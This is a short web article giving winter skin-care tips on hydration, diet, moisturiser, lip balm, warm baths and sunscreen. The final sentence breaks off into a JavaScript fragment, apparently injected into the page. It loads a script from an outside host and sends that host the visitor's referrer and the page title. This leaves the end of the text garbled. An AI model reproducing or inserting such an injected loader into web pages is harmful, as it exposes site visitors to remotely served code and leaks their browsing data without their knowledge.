The winter just sets down here with a gentle wind. The winter season also brings problems for you particularly to the skin. You may experience irritation in the skin with minor bruises. Irritation in the skin results in dryness and the issue is further complicated by the use the detergents and chemicals leading to allergies. A drop in temperature lowers the blood supply, leads to extension of capillaries, the skin suffers. If you are using heaters the skin gets damaged. Here are the tips for glowing skin to keep it in gorgeous.Variety of skin care products are availabe but diet can also play a role in your skin care.
Drink more water
Some people are of the view that in winter there is no need to take more water. But, this is not right. The experts suggest you to drink more water to keep your skin in hydrated internally. Carry a bottle of water wherever you go. Drinking herbal tea also helps in keeping the skin hydrated.
Take a healthy diet
Lycopene content from Tomatoes, antioxidants from berries or Omega 3 Fats from Fish can help you maintaining moisture in the skin and protects you from dryness.
Use skin care products for women
Use a good moisturizer to keep your skin soft and moisturized condition. Take care of damaged parts of your skin like hands, nails, feet and lips in hydrated condition. For lips use a lip balm makes your lips soft and lissome. For better results, use a lip balm with SPF. If your skin is oily, use a light moisturizing lotion. If the lip balm is not suited for you, use tea tree oil to heal the cracks in the lips.
Bathe in warm water
Come winter and your attention should be on your skin and hair. Though the winter demands hot water to bathe, it is healthy to bathe in warm water. Ensure you use a moisturizing soap to keep your skin hydrated.
Use a sunscreen lotion
In the winter all wants their skin exposed under the sun. When you go for outdoors use a good sunscreen lotion of SPF 15 or more and use it till the close of winter.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;